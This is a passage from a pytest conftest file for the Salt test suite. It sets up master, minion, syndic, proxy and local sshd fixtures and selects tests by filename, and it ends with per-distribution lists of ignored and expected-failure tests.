opts\n factory = salt_syndic_master_factory.get_salt_syndic_daemon(\n \"syndic\",\n config_defaults=config_defaults,\n extra_cli_arguments_after_first_start_failure=[\"--log-level=debug\"],\n )\n return factory\n\n\n@pytest.fixture(scope=\"session\")\ndef salt_master_factory(\n salt_factories,\n salt_syndic_master_factory,\n base_env_state_tree_root_dir,\n base_env_pillar_tree_root_dir,\n prod_env_state_tree_root_dir,\n prod_env_pillar_tree_root_dir,\n):\n root_dir = salt_factories.get_root_dir_for_daemon(\"master\")\n conf_dir = root_dir / \"conf\"\n conf_dir.mkdir(exist_ok=True)\n\n with salt.utils.files.fopen(os.path.join(RUNTIME_VARS.CONF_DIR, \"master\")) as rfh:\n config_defaults = yaml.deserialize(rfh.read())\n\n tests_known_hosts_file = str(root_dir / \"salt_ssh_known_hosts\")\n with salt.utils.files.fopen(tests_known_hosts_file, \"w\") as known_hosts:\n known_hosts.write(\"\")\n\n config_defaults[\"root_dir\"] = str(root_dir)\n config_defaults[\"known_hosts_file\"] = tests_known_hosts_file\n config_defaults[\"syndic_master\"] = \"localhost\"\n config_defaults[\"transport\"] = salt_syndic_master_factory.config[\"transport\"]\n config_defaults[\"reactor\"] = [\n {\"salt/test/reactor\": [os.path.join(RUNTIME_VARS.FILES, \"reactor-test.sls\")]}\n ]\n\n config_overrides = {}\n ext_pillar = []\n if salt.utils.platform.is_windows():\n ext_pillar.append(\n {\"cmd_yaml\": \"type {}\".format(os.path.join(RUNTIME_VARS.FILES, \"ext.yaml\"))}\n )\n else:\n ext_pillar.append(\n {\"cmd_yaml\": \"cat {}\".format(os.path.join(RUNTIME_VARS.FILES, \"ext.yaml\"))}\n )\n ext_pillar.append(\n {\n \"file_tree\": {\n \"root_dir\": os.path.join(RUNTIME_VARS.PILLAR_DIR, \"base\", \"file_tree\"),\n \"follow_dir_links\": False,\n \"keep_newline\": True,\n }\n }\n )\n config_overrides[\"pillar_opts\"] = True\n\n # We need to copy the extension modules into the new master root_dir or\n # it will be prefixed by it\n extension_modules_path = str(root_dir / \"extension_modules\")\n if not os.path.exists(extension_modules_path):\n shutil.copytree(\n os.path.join(RUNTIME_VARS.FILES, \"extension_modules\"),\n extension_modules_path,\n )\n\n # Copy the autosign_file to the new master root_dir\n autosign_file_path = str(root_dir / \"autosign_file\")\n shutil.copyfile(\n os.path.join(RUNTIME_VARS.FILES, \"autosign_file\"), autosign_file_path\n )\n # all read, only owner write\n autosign_file_permissions = (\n stat.S_IRUSR | stat.S_IRGRP | stat.S_IROTH | stat.S_IWUSR\n )\n os.chmod(autosign_file_path, autosign_file_permissions)\n\n config_overrides.update(\n {\n \"ext_pillar\": ext_pillar,\n \"extension_modules\": extension_modules_path,\n \"file_roots\": {\n \"base\": [\n str(base_env_state_tree_root_dir),\n os.path.join(RUNTIME_VARS.FILES, \"file\", \"base\"),\n ],\n # Alternate root to test __env__ choices\n \"prod\": [\n str(prod_env_state_tree_root_dir),\n os.path.join(RUNTIME_VARS.FILES, \"file\", \"prod\"),\n ],\n },\n \"pillar_roots\": {\n \"base\": [\n str(base_env_pillar_tree_root_dir),\n os.path.join(RUNTIME_VARS.FILES, \"pillar\", \"base\"),\n ],\n \"prod\": [str(prod_env_pillar_tree_root_dir)],\n },\n }\n )\n\n # Let's copy over the test cloud config files and directories into the running master config directory\n for entry in os.listdir(RUNTIME_VARS.CONF_DIR):\n if not entry.startswith(\"cloud\"):\n continue\n source = os.path.join(RUNTIME_VARS.CONF_DIR, entry)\n dest = str(conf_dir / entry)\n if os.path.isdir(source):\n shutil.copytree(source, dest)\n else:\n shutil.copyfile(source, dest)\n\n factory = salt_syndic_master_factory.get_salt_master_daemon(\n \"master\",\n config_defaults=config_defaults,\n config_overrides=config_overrides,\n extra_cli_arguments_after_first_start_failure=[\"--log-level=debug\"],\n )\n return factory\n\n\n@pytest.fixture(scope=\"session\")\ndef salt_minion_factory(salt_master_factory):\n with salt.utils.files.fopen(os.path.join(RUNTIME_VARS.CONF_DIR, \"minion\")) as rfh:\n config_defaults = yaml.deserialize(rfh.read())\n config_defaults[\"hosts.file\"] = os.path.join(RUNTIME_VARS.TMP, \"hosts\")\n config_defaults[\"aliases.file\"] = os.path.join(RUNTIME_VARS.TMP, \"aliases\")\n config_defaults[\"transport\"] = salt_master_factory.config[\"transport\"]\n\n config_overrides = {\n \"file_roots\": salt_master_factory.config[\"file_roots\"].copy(),\n \"pillar_roots\": salt_master_factory.config[\"pillar_roots\"].copy(),\n }\n\n virtualenv_binary = get_virtualenv_binary_path()\n if virtualenv_binary:\n config_overrides[\"venv_bin\"] = virtualenv_binary\n factory = salt_master_factory.get_salt_minion_daemon(\n \"minion\",\n config_defaults=config_defaults,\n config_overrides=config_overrides,\n extra_cli_arguments_after_first_start_failure=[\"--log-level=debug\"],\n )\n factory.register_after_terminate_callback(\n pytest.helpers.remove_stale_minion_key, salt_master_factory, factory.id\n )\n return factory\n\n\n@pytest.fixture(scope=\"session\")\ndef salt_sub_minion_factory(salt_master_factory):\n with salt.utils.files.fopen(\n os.path.join(RUNTIME_VARS.CONF_DIR, \"sub_minion\")\n ) as rfh:\n config_defaults = yaml.deserialize(rfh.read())\n config_defaults[\"hosts.file\"] = os.path.join(RUNTIME_VARS.TMP, \"hosts\")\n config_defaults[\"aliases.file\"] = os.path.join(RUNTIME_VARS.TMP, \"aliases\")\n config_defaults[\"transport\"] = salt_master_factory.config[\"transport\"]\n\n config_overrides = {\n \"file_roots\": salt_master_factory.config[\"file_roots\"].copy(),\n \"pillar_roots\": salt_master_factory.config[\"pillar_roots\"].copy(),\n }\n\n virtualenv_binary = get_virtualenv_binary_path()\n if virtualenv_binary:\n config_overrides[\"venv_bin\"] = virtualenv_binary\n factory = salt_master_factory.get_salt_minion_daemon(\n \"sub_minion\",\n config_defaults=config_defaults,\n config_overrides=config_overrides,\n extra_cli_arguments_after_first_start_failure=[\"--log-level=debug\"],\n )\n factory.register_after_terminate_callback(\n pytest.helpers.remove_stale_minion_key, salt_master_factory, factory.id\n )\n return factory\n\n\n@pytest.fixture(scope=\"session\")\ndef salt_proxy_factory(salt_factories, salt_master_factory):\n proxy_minion_id = \"proxytest\"\n root_dir = salt_factories.get_root_dir_for_daemon(proxy_minion_id)\n conf_dir = root_dir / \"conf\"\n conf_dir.mkdir(parents=True, exist_ok=True)\n RUNTIME_VARS.TMP_PROXY_CONF_DIR = str(conf_dir)\n\n with salt.utils.files.fopen(os.path.join(RUNTIME_VARS.CONF_DIR, \"proxy\")) as rfh:\n config_defaults = yaml.deserialize(rfh.read())\n\n config_defaults[\"root_dir\"] = str(root_dir)\n config_defaults[\"hosts.file\"] = os.path.join(RUNTIME_VARS.TMP, \"hosts\")\n config_defaults[\"aliases.file\"] = os.path.join(RUNTIME_VARS.TMP, \"aliases\")\n config_defaults[\"transport\"] = salt_master_factory.config[\"transport\"]\n\n factory = salt_master_factory.get_salt_proxy_minion_daemon(\n proxy_minion_id,\n config_defaults=config_defaults,\n extra_cli_arguments_after_first_start_failure=[\"--log-level=debug\"],\n )\n factory.register_after_terminate_callback(\n pytest.helpers.remove_stale_minion_key, salt_master_factory, factory.id\n )\n return factory\n\n\n@pytest.fixture(scope=\"session\")\ndef salt_cli(salt_master_factory):\n return salt_master_factory.get_salt_cli()\n\n\n@pytest.fixture(scope=\"session\")\ndef salt_cp_cli(salt_master_factory):\n return salt_master_factory.get_salt_cp_cli()\n\n\n@pytest.fixture(scope=\"session\")\ndef salt_key_cli(salt_master_factory):\n return salt_master_factory.get_salt_key_cli()\n\n\n@pytest.fixture(scope=\"session\")\ndef salt_run_cli(salt_master_factory):\n return salt_master_factory.get_salt_run_cli()\n\n\n@pytest.fixture(scope=\"session\")\ndef salt_ssh_cli(salt_master_factory):\n return salt_master_factory.get_salt_ssh_cli()\n\n\n@pytest.fixture(scope=\"session\")\ndef salt_call_cli(salt_minion_factory):\n return salt_minion_factory.get_salt_call_cli()\n\n\n@pytest.fixture(scope=\"session\", autouse=True)\ndef bridge_pytest_and_runtests(\n reap_stray_processes,\n salt_factories,\n salt_syndic_master_factory,\n salt_syndic_factory,\n salt_master_factory,\n salt_minion_factory,\n salt_sub_minion_factory,\n sshd_config_dir,\n):\n # Make sure unittest2 uses the pytest generated configuration\n RUNTIME_VARS.RUNTIME_CONFIGS[\"master\"] = freeze(salt_master_factory.config)\n RUNTIME_VARS.RUNTIME_CONFIGS[\"minion\"] = freeze(salt_minion_factory.config)\n RUNTIME_VARS.RUNTIME_CONFIGS[\"sub_minion\"] = freeze(salt_sub_minion_factory.config)\n RUNTIME_VARS.RUNTIME_CONFIGS[\"syndic_master\"] = freeze(\n salt_syndic_master_factory.config\n )\n RUNTIME_VARS.RUNTIME_CONFIGS[\"syndic\"] = freeze(salt_syndic_factory.config)\n RUNTIME_VARS.RUNTIME_CONFIGS[\"client_config\"] = freeze(\n salt.config.client_config(salt_master_factory.config[\"conf_file\"])\n )\n\n # Make sure unittest2 classes know their paths\n RUNTIME_VARS.TMP_ROOT_DIR = str(salt_factories.root_dir.resolve())\n RUNTIME_VARS.TMP_CONF_DIR = os.path.dirname(salt_master_factory.config[\"conf_file\"])\n RUNTIME_VARS.TMP_MINION_CONF_DIR = os.path.dirname(\n salt_minion_factory.config[\"conf_file\"]\n )\n RUNTIME_VARS.TMP_SUB_MINION_CONF_DIR = os.path.dirname(\n salt_sub_minion_factory.config[\"conf_file\"]\n )\n RUNTIME_VARS.TMP_SYNDIC_MASTER_CONF_DIR = os.path.dirname(\n salt_syndic_master_factory.config[\"conf_file\"]\n )\n RUNTIME_VARS.TMP_SYNDIC_MINION_CONF_DIR = os.path.dirname(\n salt_syndic_factory.config[\"conf_file\"]\n )\n RUNTIME_VARS.TMP_SSH_CONF_DIR = str(sshd_config_dir)\n\n\n@pytest.fixture(scope=\"session\")\ndef sshd_config_dir(salt_factories):\n config_dir = salt_factories.get_root_dir_for_daemon(\"sshd\")\n yield config_dir\n shutil.rmtree(str(config_dir), ignore_errors=True)\n\n\n@pytest.fixture(scope=\"module\")\ndef sshd_server(salt_factories, sshd_config_dir, salt_master):\n sshd_config_dict = {\n \"Protocol\": \"2\",\n # Turn strict modes off so that we can operate in /tmp\n \"StrictModes\": \"no\",\n # Logging\n \"SyslogFacility\": \"AUTH\",\n \"LogLevel\": \"INFO\",\n # Authentication:\n \"LoginGraceTime\": \"120\",\n \"PermitRootLogin\": \"without-password\",\n \"PubkeyAuthentication\": \"yes\",\n # Don't read the user's ~/.rhosts and ~/.shosts files\n \"IgnoreRhosts\": \"yes\",\n \"HostbasedAuthentication\": \"no\",\n # To enable empty passwords, change to yes (NOT RECOMMENDED)\n \"PermitEmptyPasswords\": \"no\",\n # Change to yes to enable challenge-response passwords (beware issues with\n # some PAM modules and threads)\n \"ChallengeResponseAuthentication\": \"no\",\n # Change to no to disable tunnelled clear text passwords\n \"PasswordAuthentication\": \"no\",\n \"X11Forwarding\": \"no\",\n \"X11DisplayOffset\": \"10\",\n \"PrintMotd\": \"no\",\n \"PrintLastLog\": \"yes\",\n \"TCPKeepAlive\": \"yes\",\n \"AcceptEnv\": \"LANG LC_*\",\n \"Subsystem\": \"sftp /usr/lib/openssh/sftp-server\",\n \"UsePAM\": \"yes\",\n }\n factory = salt_factories.get_sshd_daemon(\n sshd_config_dict=sshd_config_dict, config_dir=sshd_config_dir,\n )\n # We also need a salt-ssh roster config file\n roster_path = pathlib.Path(salt_master.config_dir) / \"roster\"\n roster_contents = textwrap.dedent(\n \"\"\"\\\n localhost:\n host: 127.0.0.1\n port: {}\n user: {}\n mine_functions:\n test.arg: ['itworked']\n \"\"\".format(\n factory.listen_port, RUNTIME_VARS.RUNNING_TESTS_USER\n )\n )\n if salt.utils.platform.is_darwin():\n roster_contents += \" set_path: $PATH:/usr/local/bin/\\n\"\n log.debug(\n \"Writing to configuration file %s. Configuration:\\n%s\",\n roster_path,\n roster_contents,\n )\n with salt.utils.files.fopen(str(roster_path), \"w\") as wfh:\n wfh.write(roster_contents)\n\n with factory.started():\n yield factory\n if roster_path.exists():\n roster_path.unlink()\n\n\n# <---- Salt Factories -----------------------------------------------------------------------------------------------\n\n\n# ----- From Filenames Test Selection ------------------------------------------------------------------------------->\ndef _match_to_test_file(match):\n parts = match.split(\".\")\n parts[-1] += \".py\"\n return TESTS_DIR.joinpath(*parts).relative_to(CODE_DIR)\n\n\ndef from_filenames_collection_modifyitems(config, items):\n from_filenames = config.getoption(\"--from-filenames\")\n if not from_filenames:\n # Don't do anything\n return\n\n test_categories_paths = (\n (TESTS_DIR / \"integration\").relative_to(CODE_DIR),\n (TESTS_DIR / \"multimaster\").relative_to(CODE_DIR),\n (TESTS_DIR / \"unit\").relative_to(CODE_DIR),\n (PYTESTS_DIR / \"e2e\").relative_to(CODE_DIR),\n (PYTESTS_DIR / \"functional\").relative_to(CODE_DIR),\n (PYTESTS_DIR / \"integration\").relative_to(CODE_DIR),\n (PYTESTS_DIR / \"unit\").relative_to(CODE_DIR),\n )\n\n test_module_paths = set()\n from_filenames_listing = set()\n for path in [pathlib.Path(path.strip()) for path in from_filenames.split(\",\")]:\n if path.is_absolute():\n # In this case, this path is considered to be a file containing a line separated list\n # of files to consider\n with salt.utils.files.fopen(str(path)) as rfh:\n for line in rfh:\n line_path = pathlib.Path(line.strip())\n if not line_path.exists():\n continue\n from_filenames_listing.add(line_path)\n continue\n from_filenames_listing.add(path)\n\n filename_map = yaml.deserialize((TESTS_DIR / \"filename_map.yml\").read_text())\n # Let's add the match all rule\n for rule, matches in filename_map.items():\n if rule == \"*\":\n for match in matches:\n test_module_paths.add(_match_to_test_file(match))\n break\n\n # Let's now go through the list of files gathered\n for filename in from_filenames_listing:\n if str(filename).startswith(\"tests/\"):\n # Tests in the listing don't require additional matching and will be added to the\n # list of tests to run\n test_module_paths.add(filename)\n continue\n if filename.name == \"setup.py\" or str(filename).startswith(\"salt/\"):\n if path.name == \"__init__.py\":\n # No direct macthing\n continue\n # Now let's try a direct match between the passed file and possible test modules\n for test_categories_path in test_categories_paths:\n test_module_path = test_categories_path / \"test_{}\".format(path.name)\n if test_module_path.is_file():\n test_module_paths.add(test_module_path)\n continue\n\n # Do we have an entry in tests/filename_map.yml\n for rule, matches in filename_map.items():\n if rule == \"*\":\n continue\n elif \"|\" in rule:\n # This is regex\n if re.match(rule, str(filename)):\n for match in matches:\n test_module_paths.add(_match_to_test_file(match))\n elif \"*\" in rule or \"\\\\\" in rule:\n # Glob matching\n for filerule in CODE_DIR.glob(rule):\n if not filerule.exists():\n continue\n filerule = filerule.relative_to(CODE_DIR)\n if filerule != filename:\n continue\n for match in matches:\n test_module_paths.add(_match_to_test_file(match))\n else:\n if str(filename) != rule:\n continue\n # Direct file paths as rules\n filerule = pathlib.Path(rule)\n if not filerule.exists():\n continue\n for match in matches:\n test_module_paths.add(_match_to_test_file(match))\n continue\n else:\n log.debug(\"Don't know what to do with path %s\", filename)\n\n selected = []\n deselected = []\n for item in items:\n itempath = pathlib.Path(str(item.fspath)).resolve().relative_to(CODE_DIR)\n if itempath in test_module_paths:\n selected.append(item)\n else:\n deselected.append(item)\n\n items[:] = selected\n if deselected:\n config.hook.pytest_deselected(items=deselected)\n\n\n# <---- From Filenames Test Selection --------------------------------------------------------------------------------\n\n\n# ----- Custom Fixtures --------------------------------------------------------------------------------------------->\n@pytest.fixture(scope=\"session\")\ndef reap_stray_processes():\n # Run tests\n yield\n\n children = psutil.Process(os.getpid()).children(recursive=True)\n if not children:\n log.info(\"No astray processes found\")\n return\n\n def on_terminate(proc):\n log.debug(\"Process %s terminated with exit code %s\", proc, proc.returncode)\n\n if children:\n # Reverse the order, sublings first, parents after\n children.reverse()\n log.warning(\n \"Test suite left %d astray processes running. Killing those processes:\\n%s\",\n len(children),\n pprint.pformat(children),\n )\n\n _, alive = psutil.wait_procs(children, timeout=3, callback=on_terminate)\n for child in alive:\n try:\n child.kill()\n except psutil.NoSuchProcess:\n continue\n\n _, alive = psutil.wait_procs(alive, timeout=3, callback=on_terminate)\n if alive:\n # Give up\n for child in alive:\n log.warning(\n \"Process %s survived SIGKILL, giving up:\\n%s\",\n child,\n pprint.pformat(child.as_dict()),\n )\n\n\n@pytest.fixture(scope=\"session\")\ndef sminion():\n return create_sminion()\n\n\n@pytest.fixture(scope=\"session\")\ndef grains(sminion):\n return sminion.opts[\"grains\"].copy()\n\n\n@pytest.fixture\ndef ssl_webserver(integration_files_dir, scope=\"module\"):\n \"\"\"\n spins up an https webserver.\n \"\"\"\n if sys.version_info < (3, 5, 3):\n pytest.skip(\"Python versions older than 3.5.3 do not define `ssl.PROTOCOL_TLS`\")\n context = ssl.SSLContext(ssl.PROTOCOL_TLS)\n context.load_cert_chain(\n str(integration_files_dir / \"https\" / \"cert.pem\"),\n str(integration_files_dir / \"https\" / \"key.pem\"),\n )\n\n webserver = Webserver(root=str(integration_files_dir), ssl_opts=context)\n webserver.start()\n yield webserver\n webserver.stop()\n\n\n# <---- Custom Fixtures ----------------------------------------------------------------------------------------------\n\n\n\n\nKNOWN_ISSUES_INTEGRATION = {\n 'ignore_list': {\n 'common': [\n 'tests/integration/externalapi/test_venafiapi.py',\n 'test_state.py::OrchEventTest::test_parallel_orchestrations',\n 'test_state.py::StateModuleTest::test_requisites_onfail_any',\n 'files/file/base/*', # should no be included\n 'utils/test_reactor.py', # not yet implemented\n '*::SaltnadoTestCase::*', # these are not actual tests\n 'cloud/providers/msazure.py',\n 'modules/git.py',\n 'cloud/helpers/virtualbox.py',\n\n 'utils/*',\n\n # Running following tests causes unsuccessfully close\n # of forked processes. This will cause \"hanging\" jenkins jobs.\n 'states/supervisord.py',\n '*::MasterTest::test_exit_status_correct_usage',\n '*::ProxyTest::test_exit_status_correct_usage',\n '*::FileTest::test_issue_2227_file_append',\n '*::FileTest::test_issue_8947_utf8_sls',\n\n # Evil test\n 'reactor/reactor.py', # This test causes \"py.test\" never finishes\n # 'runners/fileserver.py::FileserverTest::test_clear_file_list_cache', # this test hangs\n 'runners/fileserver.py', # workaround for comment above\n # 'wheel/key.py::KeyWheelModuleTest::test_list_all', # ERROR at teardown\n '*/wheel/key.py', # workaround for comment above\n '*/wheel/client.py',\n '*/virtualenv.py',\n '*/states/user.py',\n '*states/svn.py',\n '*/kitchen/tests/wordpress/*',\n 'pillar/test_git_pillar.py',\n\n # We are not interested in the NetapiClientTests\n '*/netapi/test_client.py',\n\n # This makes a request to github.com\n '*/modules/ssh.py',\n\n # CRON is not installed on toaster images and cron tests are not designed for SUSE.\n '*/states/test_cron.py',\n\n # NEED INVESTIGATION\n '*rest_tornado/test_app.py::TestSaltAPIHandler::test_multi_local_async_post',\n '*rest_tornado/test_app.py::TestSaltAPIHandler::test_multi_local_async_post_multitoken',\n '*rest_tornado/test_app.py::TestSaltAPIHandler::test_simple_local_async_post',\n '*rest_tornado/test_app.py::TestSaltAPIHandler::test_simple_local_runner_post',\n '*/test_state.py::StateModuleTest::test_onchanges_in_requisite',\n '*/test_state.py::StateModuleTest::test_onchanges_requisite',\n '*/test_state.py::StateModuleTest::test_onchanges_requisite_multiple',\n '*/test_state.py::StateModuleTest::test_requisites_onchanges_any',\n '*/runners/test_state.py::StateRunnerTest::test_orchestrate_retcode',\n '*/shell/test_call.py::CallTest::test_issue_14979_output_file_permissions',\n '*/shell/test_call.py::CallTest::test_issue_15074_output_file_append',\n '*/shell/test_call.py::CallTest::test_issue_2731_masterless',\n '*/modules/ssh.py',\n '*/proxy/test_shell.py', # proxy minion is not starting\n\n # After switch to M2Crypto\n 'cloud/clouds/test_digitalocean.py', # ModuleNotFoundError: No module named 'Crypto'\n ],\n 'rhel6': [\n # Avoid error due:\n # [Errno 1] _ssl.c:492: error:1409442E:SSL routines:SSL3_READ_BYTES:tlsv1 alert protocol version\n '*/modules/gem.py',\n ],\n # disable 2017.7.1 on python 2.6\n 'rhel6/products-next': ['*'],\n 'sles11sp3/products-next': ['*'],\n 'sles11sp4/products-next': ['*'],\n 'sles11sp3': ['*/modules/gem.py', '*/modules/ssh.py'],\n 'sles11sp4': ['*/modules/gem.py', '*/modules/ssh.py'],\n },\n 'xfail_list': {\n 'common': [\n # Always failing\n '*sysmod.py::SysModuleTest::test_valid_docs',\n 'cloud/providers/virtualbox.py::BaseVirtualboxTests::test_get_manager',\n\n 'modules/timezone.py::TimezoneLinuxModuleTest::test_get_hwclock',\n 'states/git.py::GitTest::test_latest_changed_local_branch_rev_develop',\n 'states/git.py::GitTest::test_latest_changed_local_branch_rev_head',\n 'states/git.py::GitTest::test_latest_fast_forward',\n 'states/git.py::LocalRepoGitTest::test_renamed_default_branch',\n\n 'loader/ext_grains.py::LoaderGrainsTest::test_grains_overwrite',\n 'loader/ext_modules.py::LoaderOverridesTest::test_overridden_internal',\n\n 'modules/decorators.py::DecoratorTest::test_depends',\n 'modules/decorators.py::DecoratorTest::test_depends_will_not_fallback',\n 'modules/decorators.py::DecoratorTest::test_missing_depends_will_fallback',\n\n # Sometimes failing in jenkins.\n 'shell/call.py::CallTest::test_issue_14979_output_file_permissions',\n 'shell/call.py::CallTest::test_issue_15074_output_file_append',\n 'shell/call.py::CallTest::test_issue_2731_masterless',\n 'shell/matcher.py::MatchTest::test_grain',\n\n 'netapi/rest_tornado/test_app.py::TestSaltAPIHandler::test_simple_local_post_only_dictionary_request',\n 'shell/master_tops.py::MasterTopsTest::test_custom_tops_gets_utilized',\n 'states/svn.py::SvnTest::test_latest', # sles12sp1\n 'states/svn.py::SvnTest::test_latest_empty_dir', # sles12sp1\n 'runners/state.py::StateRunnerTest::test_orchestrate_output', # sles12sp1 rhel7\n 'modules/test_saltutil.py::SaltUtilSyncPillarTest::test_pillar_refresh', # sles12sp2\n '*::test_issue_7754',\n\n '*test_fileserver.py::FileserverTest::test_symlink_list',\n '*test_fileserver.py::FileserverTest::test_empty_dir_list',\n '*test_timezone.py::TimezoneLinuxModuleTest::test_get_hwclock',\n '*test_file.py::FileTest::test_managed_check_cmd',\n 'modules/test_network.py::NetworkTest::test_network_ping', # Bad test implementation\n\n # Needs investigation. Setting them to xfail to have a \"new green start\" on March 15th\n # see https://github.com/SUSE/spacewalk/issues/14284\n 'states/test_match.py::StateMatchTest::test_issue_2167_ipcidr_no_AttributeError',\n 'states/test_file.py::FileTest::test_directory_broken_symlink',\n 'shell/test_matcher.py::MatchTest::test_ipcidr',\n 'netapi/rest_cherrypy/test_app.py::TestJobs::test_all_jobs',\n 'netapi/rest_cherrypy/test_app.py::TestAuth::test_webhook_auth',\n 'modules/test_saltutil.py::SaltUtilModuleTest::test_wheel_just_function',\n 'modules/test_network.py::NetworkTest::test_network_netstat',\n 'modules/test_cp.py::CPModuleTest::test_get_dir_templated_paths',\n 'modules/test_cmdmod.py::CMDModuleTest::test_script_retcode',\n 'modules/test_cmdmod.py::CMDModuleTest::test_script_cwd_with_space',\n 'modules/test_cmdmod.py::CMDModuleTest::test_script_cwd',\n 'modules/test_cmdmod.py::CMDModuleTest::test_script',\n 'modules/test_cmdmod.py::CMDModuleTest::test_has_exec',\n 'modules/test_cmdmod.py::CMDModuleTest::test_exec_code_with_single_arg',\n 'modules/test_cmdmod.py::CMDModuleTest::test_exec_code_with_multiple_args',\n 'modules/test_cmdmod.py::CMDModuleTest::test_exec_code',\n\n # Failing in 3003.3\n 'modules/saltutil/test_wheel.py::test_wheel_just_function',\n 'modules/test_pip.py::PipModuleTest::test_pip_install_multiple_editables',\n 'states/test_pip_state.py::PipStateTest::test_issue_2028_pip_installed_state',\n 'cli/test_matcher.py::test_ipcidr',\n ],\n 'rhel6': [\n 'cloud/providers/virtualbox.py::CreationDestructionVirtualboxTests::test_vm_creation_and_destruction',\n 'cloud/providers/virtualbox.py::CloneVirtualboxTests::test_create_machine',\n 'cloud/providers/virtualbox.py::BootVirtualboxTests::test_start_stop',\n 'cloud/providers/virtualbox.py::XpcomConversionTests::test_extra_attributes',\n 'cloud/providers/virtualbox.py::XpcomConversionTests::test_extra_nonexistent_attribute_with_default',\n 'cloud/providers/virtualbox.py::XpcomConversionTests::test_extra_nonexistent_attributes',\n 'cloud/providers/virtualbox.py::XpcomConversionTests::test_imachine_object_default',\n 'cloud/providers/virtualbox.py::XpcomConversionTests::test_override_attributes',\n 'cloud/providers/virtualbox.py::XpcomConversionTests::test_unknown_object',\n 'fileserver/roots_test.py::RootsTest::test_symlink_list',\n ],\n 'rhel7': [\n 'states/archive.py::ArchiveTest::test_archive_extracted_skip_verify',\n 'states/archive.py::ArchiveTest::test_archive_extracted_with_root_user_and_group',\n 'states/archive.py::ArchiveTest::test_archive_extracted_with_source_hash',\n ],\n 'sles11sp3': [\n 'cloud/providers/virtualbox.py::CreationDestructionVirtualboxTests::test_vm_creation_and_destruction',\n 'cloud/providers/virtualbox.py::CloneVirtualboxTests::test_create_machine',\n 'cloud/providers/virtualbox.py::BootVirtualboxTests::test_start_stop',\n 'cloud/providers/virtualbox.py::XpcomConversionTests::test_extra_attributes',\n 'cloud/providers/virtualbox.py::XpcomConversionTests::test_extra_nonexistent_attribute_with_default',\n 'cloud/providers/virtualbox.py::XpcomConversionTests::test_extra_nonexistent_attributes',\n 'cloud/providers/virtualbox.py::XpcomConversionTests::test_imachine_object_default',\n 'cloud/providers/virtualbox.py::XpcomConversionTests::test_override_attributes',\n 'cloud/providers/virtualbox.py::XpcomConversionTests::test_unknown_object',\n 'fileserver/roots_test.py::RootsTest::test_symlink_list',\n ],\n 'sles11sp4': [\n 'cloud/providers/virtualbox.py::CreationDestructionVirtualboxTests::test_vm_creation_and_destruction',\n 'cloud/providers/virtualbox.py::CloneVirtualboxTests::test_create_machine',\n 'cloud/providers/virtualbox.py::BootVirtualboxTests::test_start_stop',\n 'cloud/providers/virtualbox.py::XpcomConversionTests::test_extra_attributes',\n 'cloud/providers/virtualbox.py::XpcomConversionTests::test_extra_nonexistent_attribute_with_default',\n 'cloud/providers/virtualbox.py::XpcomConversionTests::test_extra_nonexistent_attributes',\n 'cloud/providers/virtualbox.py::XpcomConversionTests::test_imachine_object_default',\n 'cloud/providers/virtualbox.py::XpcomConversionTests::test_override_attributes',\n 'cloud/providers/virtualbox.py::XpcomConversionTests::test_unknown_object',\n 'shell/master.py::MasterTest::test_exit_status_correct_usage',\n 'states/git.py::GitTest::test_config_set_value_with_space_character',\n 'states/git.py::GitTest::test_latest',\n 'states/git.py::GitTest::test_latest_changed_local_branch_rev_develop',\n 'states/git.py::GitTest::test_latest_changed_local_branch_rev_head',\n 'states/git.py::GitTest::test_latest_empty_dir',\n 'states/git.py::GitTest::test_latest_unless_no_cwd_issue_6800',\n 'states/git.py::GitTest::test_latest_with_local_changes',\n 'states/git.py::GitTest::test_latest_with_rev_and_submodules',\n 'states/git.py::GitTest::test_numeric_rev',\n 'fileserver/roots_test.py::RootsTest::test_symlink_list',\n ],\n 'sles12': [\n ],\n 'sles12sp1': [\n ],\n 'sles12sp2': [\n ],\n 'sles12sp3': [\n 'modules/test_pkg.py::PkgModuleTest::test_mod_del_repo_multiline_values', # this test should not be executed on SUSE systems\n ],\n 'sles15': [\n 'modules/test_pkg.py::PkgModuleTest::test_mod_del_repo_multiline_values', # this test should not be executed on SUSE systems\n ],\n 'ubuntu1604': [\n 'shell/test_enabled.py::EnabledTest::test_shell_default_enabled', # https://github.com/saltstack/salt/issues/52898\n 'shell/test_enabled.py::EnabledTest::test_template_shell', # https://github.com/saltstack/salt/issues/52898\n ],\n 'ubuntu1804': [\n 'shell/test_enabled.py::EnabledTest::test_shell_default_enabled', # https://github.com/saltstack/salt/issues/52898\n 'shell/test_enabled.py::EnabledTest::test_template_shell', # https://github.com/saltstack/salt/issues/52898\n ],\n }\n}\n\n\nKNOWN_ISSUES_UNIT = {\n 'ignore_list': {\n 'common': [\n 'test_engines.py', # Make pytest to stuck for long time after tests are executed\n 'modules/test_boto3_elasticsearch.py',\n 'zypp_plugins_test.py', # BogusIO missing in zypp_plugin\n 'netapi/rest_tornado/test_handlers.py',\n 'netapi/test_rest_tornado.py',\n 'returners/smtp_return_test.py',\n 'transport/zeromq_test.py', # Prevent pytests hang after tests\n 'conf_test.py::ConfTest::test_conf_master_sample_is_commented', # we have uncommented custom config\n 'conf_test.py::ConfTest::test_conf_minion_sample_is_commented', # we have uncommented custom config\n 'conf_test.py::ConfTest::test_conf_proxy_sample_is_commented', # we have uncommented custom config\n '*rsync_test.py::*',\n 'test_module_names.py',\n 'modules/darwin_sysctl_test.py',\n 'states/boto_cloudwatch_event_test.py',\n 'modules/boto_vpc_test.py',\n 'states/boto_vpc_test.py',\n 'utils/boto_test.py',\n 'modules/win_ip_test.py::WinShadowTestCase::test_set_static_ip', # takes too long to execute\n 'states/blockdev_test.py::BlockdevTestCase::test_formatted', # takes too long to execute\n 'cloud/clouds/dimensiondata_test.py',\n 'cloud/clouds/gce_test.py',\n '*/utils/test_parsers.py',\n '*/kitchen/tests/wordpress/*',\n 'fileserver/test_gitfs.py',\n # NEEDS INVESTIGATION\n 'test_pip.py::PipStateTest::test_install_requirements_parsing',\n '*/modules/test_useradd.py',\n 'utils/cache_mods/cache_mod.py',\n 'modules/test_boto_vpc.py',\n 'states/test_boto_vpc.py',\n 'states/test_augeas.py::AugeasTestCase::test_change_no_context_with_full_path_fail',\n\n # Not running tests for cheetah, mako and genshi templating\n 'utils/test_templates.py::RenderTestCase::test_render_cheetah_evaluate',\n 'utils/test_templates.py::RenderTestCase::test_render_cheetah_evaluate_text',\n 'utils/test_templates.py::RenderTestCase::test_render_cheetah_evaluate_xml',\n 'utils/test_templates.py::RenderTestCase::test_render_cheetah_sanity',\n 'utils/test_templates.py::RenderTestCase::test_render_cheetah_variable',\n 